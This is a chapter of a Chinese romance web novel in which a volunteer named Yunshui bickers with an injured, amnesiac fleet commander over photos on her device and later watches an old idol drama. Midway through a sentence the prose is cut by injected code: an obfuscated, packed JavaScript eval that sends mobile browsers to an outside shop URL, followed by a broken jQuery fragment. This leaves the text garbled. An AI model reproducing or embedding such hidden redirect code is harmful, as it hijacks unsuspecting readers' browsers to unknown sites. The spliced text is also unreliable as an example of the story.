云水捏着通讯器的手都快出汗了。
拖拖拉拉终于进行到一张感觉有用的。
是拍卖会屏幕上的莲花瓷炉。
她端详着执舰官的脸色,假装不经意问:“好看吗。”
执舰官:“丑。”
云水:“……”
此时房间外各种各样的喇叭声都停了。分发物资和吃饭聊天的声音都陆陆续续结束。
整个安置点按下了暂停键,陷入午后浅眠时间。
阳光不是暖色的,是一种炽烈的白。仓促建成的板房没有窗帘,光线畅通无阻,刚好打在病床上,好像郑重其事的舞台光。
云水闻到那种清苦的药味纠缠着血腥气,一瞬间云水仿佛看见一颗衰败的星星。
他们一直很低声、很短暂地交谈,刻意压低的声音融化在静谧的空气里。
云水只好明示他:“将军,你觉得这个东西眼熟吗。”
执舰官陷入沉思。
他眼睛的线条尖锐,眼皮很窄,表情有点紧绷。
云水忍不住说:“这是慈善拍卖会的藏品之一,那个,咳,你买给我的。”
执舰官:“?”
执舰官冷笑:“我疯了。”
云水:“……”不太开心。
她认同:“我也觉得。”
江榭的耳力是很好的,他能轻易捕捉每个压低的字节。
同样视力过人,把云水轻微的不自在的神色尽收眼底,他不觉得云水有这么高超自然的撒谎技术。
不怎么挥金如土,也没有散钱的爱好,工资只是账户上的数字,没有道理给一个不生不熟的文职人员买藏品。
可他买了。
买了?
买给这个人了。
江榭几乎要确认了,云水就是这样虚荣、笨蛋、心口不一、恃宠生娇。
医生说她能守在废墟外把他拖出来,哭得稀里哗啦在外面等他手术,担心的不得了。
甚至因为网络断联,拿着信号微弱的定位软件深入灾区,自己顶着安全帽想来救自己。
虽然态度很一般,做什么都要三催四请,偶尔还不服管教,爱偷偷顶嘴,总是唯唯诺诺地表达不满。她甚至不说敬语!
她应该做的明明是,跑到小区附近的公园安静呆着,等着救援和物资。不要乱跑,自保就好,不必救谁。
但她还是来了。
可是这个云水也很狡猾,气性不知道为什么这么大。也很恶劣。
因为自己失忆了,还这样玩弄他,不承认自己恋人的身份,要和他划清界限。当时半夜偷拍他摄像头声音那么大,简直是人赃并获!
难道是因为把她忘记了,她就生气了?
云水疑惑:“你笑什么。”
执舰官嘴角立刻绷直,同样疑惑:“我没笑,云水,你不老实。”
云水无妄之灾:“我很老实,句句属实。”
执舰官垂下眼。
从云水的视角看过去,能看见他长长的睫毛垂着,并不是那种小刷子一样的形状,而是眼角稍短,眼尾稍长,衔接出一个自然的弧度,像一瓣桃花。偏偏眼底显得很漠然,冷冽的,又有点坏脾气。
不好相与的执舰官命令道:“我看见这张图片就烦,翻页。”
啊?
云水只好翻页,下一张图像是废片,模模糊糊的华丽走廊和虚影。执舰官没有什么表示,云水偷偷松一口气,划走。
“等等,”执舰官又露出那种捉住她小辫子的高傲,故作疑惑,拆穿她,“我以为你把这些照片都隐藏了,怎么还剩。”
看着云水心虚的样子,执舰官摇头,看着图片里的虚影,理所当然地抱怨:“你怎么老爱偷拍我。这个习惯不好。”
天啊,好理直气壮的污蔑。好蛮不讲理的自恋。
云水都快翻白眼了,立刻划回去,长按图片。
两人的注视下,实况图里是一个穿白色西服的高挑背影,沉着地走过拱形的门廊,举手投足都有一种舒缓的雅致。
不像执舰官,总是姿态笔挺、雷厉风行。
执舰官脸色变得很差,这个瞬间,他不存在的涵养更加虚弱,甚至是刚刚深信不疑的猜测都受到了动摇。
他不可置信地望着云水,好像她犯了什么不可饶恕的大罪。
他质问道:“云水,这是谁?”
云水迟疑了几秒,执舰官的脸色都快黑成锅底了。
她含糊道:“我也不知道。”
“不知道?”执舰官凝视着她,就这样一动不动盯着云水的嘴巴,好像势必要等到更多、更离谱的答案,他不自觉提高了声音,“不知道你还拍他,云水,你是花痴吗,不可理喻。”
云水:“?!!”
她霍地站起来,气急败坏道:“将军,他帮了我,我只是随便拍。”
“放屁,”执舰官气焰更甚,面无表情道,“你一定就是眼瞎,看这个人长得好看!见了他人模狗样的就走不动道!”
云水一噎:“我、你……你怎么可以这么想我。”
她就是,她狡辩。
执舰官冷冷看她:“难道不是?这个人看背影就贼眉鼠眼、獐头鼠目。你的品味真的很低下。”
云水反唇相讥:“看背影也知道他风度翩翩、光彩照人。”
不像某人,反复无常,脾气暴躁,莫名其妙!她已经被他的人身攻击给惹到了,站起来就要走。
执舰官觉得自己伤口都要气裂开了,彻底怒了,匪夷所思道:“你要走?你给我站住好好解释。”
“解释?”云水压着火,“没什么好解释的。你小声点,吵着别人休息了,没素质。”
他们吵起来动静不算很小,云水又急又抱歉,看了一眼正在偷瞟他们的隔壁床,迅速走了。
江榭有伤,手还被裹成一团,战斗力很弱,威严扫地,无法阻止云水生气跑掉了。
他同样气急败坏,觉得怒火愈演愈烈,好像有什么冷硬的东西不受控制地在胸腔里反复搅动,把五脏六腑都乱成一团。
太过分了。云水。
怎么能对我使用贬义词。
怎么能拍其他男人。
怎么能这样朝三暮四。
……
云水不知道执舰官正在怨天尤人,她一肚子火捏着通讯器跑出来,四下寂静无声。
她去卫生间洗了一把脸。检讨一下自己,感觉她膨胀了,出息了,胆敢和执舰官对呛了。
不知道是不是因为这种受灾的特殊环境里,秩序消退,胆子变肥。
她仿佛能预见未来,执舰官将精心准备一柜子小鞋等着她。
气量狭小,心眼更
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609746|205900||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小。
云水抓了抓头发,实在不知道执舰官突变成凶狗是为哪般。
她发完呆,回隔壁小床上躺了一会儿,下午忙活一阵,去找志愿者同事看剧。这个同事当时光脑里面离线存储了好几部电视剧和综艺,被大家封为娱乐之神。
娱乐之神很慷慨,光脑屏幕投射在半空,她们好几个人挤在一起看。
这个剧画质已经有点模糊了,居然是很古早的偶像剧,甚至要追溯到AI演员尚未占领荧幕的时代,配乐轻松欢快。大家震惊于480p的旧画质。娱乐之神一本正经说:“你们不懂,这是古早真神!”
剧里,亲眼目睹男主和女二形影不离、相谈甚欢,女主失魂落魄地坐上公交车,窗外暴雨如注,女主自言自语:“我想,我要放弃喜欢他了。”
然后女主流泪,整天失魂落魄。用尽全力想避开男主,每天过得如行尸走肉。
云水看得很认真,心里想:“我天,这也太虐了吧。”
然后女主的朋友为她打抱不平,去找男主对峙,男主得知女主为他吃醋,那张冷脸露出一个不明显的笑。
云水皱眉:“喜欢她还让她伤心吗。”
娱乐之神的品味受到质疑,反驳:“男主现在还没有认清自己的心。”
然后男主就去找女主,不动声色地透露自己和女二之间清清白白。女主一下子开心了。然后这种桥段反复上演,充满了各种冷言冷语、时不时的甜蜜、偶尔偷来一样的幸福,偶尔绝望的刺痛。
云水:“……”
娱乐之神咳了几声:“都说了古早……”
古早,真神啊。神经病!
娱乐之神搂住云水的肩,她眉飞色舞道:“云啊,就是这样的,少男少女之间这种充斥着纠结、不肯承认自己的内心,又藏不住的关心,数不清的误会,反复的伤心,哭哭啼啼,恩恩爱爱,修成正果,本来就是一件美好的事情,不是吗!”
云水盯着屏幕里男主把女主丑照设置成自己的电脑壁纸逗她玩,两个人打打闹闹。她无奈地揉额头:“好吧。”
只是云水没有古早女主的的勇气,没有不停承受痛心还一往无前的魄力,她只会小心缩回自己的壳子里,避开爱和伤害。
如果喜欢以后,得到的只是讽刺和冷言冷语,那么一开始就不要喜欢。
她去洗了一个战斗澡,没有吹风机,湿哒哒的头发用毛巾尽量擦到不滴水。
时间不早了,她随意垫着毛巾进了病房,接了一盆水,准备偷偷确认一下执舰官健在就好。
因为病房里还有小孩子,已经快十点了,灯留得很暗。
云水跟着护士一起进去,只想看一眼就出来。
可不妙的是,执舰官是坐起来的,眼睛瞪得像铜铃。
云水撇嘴。
可能铜铃不至于,但他眼神很犀利,平等地审视每一个进门的人。
云水一进来就被他锁住,面无表情的。带着一点阴沉的不爽,就这样默默盯着。云水把塑料盆和洗脸巾拿过来,往他脸上招呼。
然后隔着一层薄薄的洗脸巾被他咬住了手。
云水:?!!
她觉得手上一痛一麻,差点一拳抡过去,挣扎间看见白森森的牙齿。
云水太震惊了,破天荒叫了执舰官的大名:“江榭,你是狗吗。”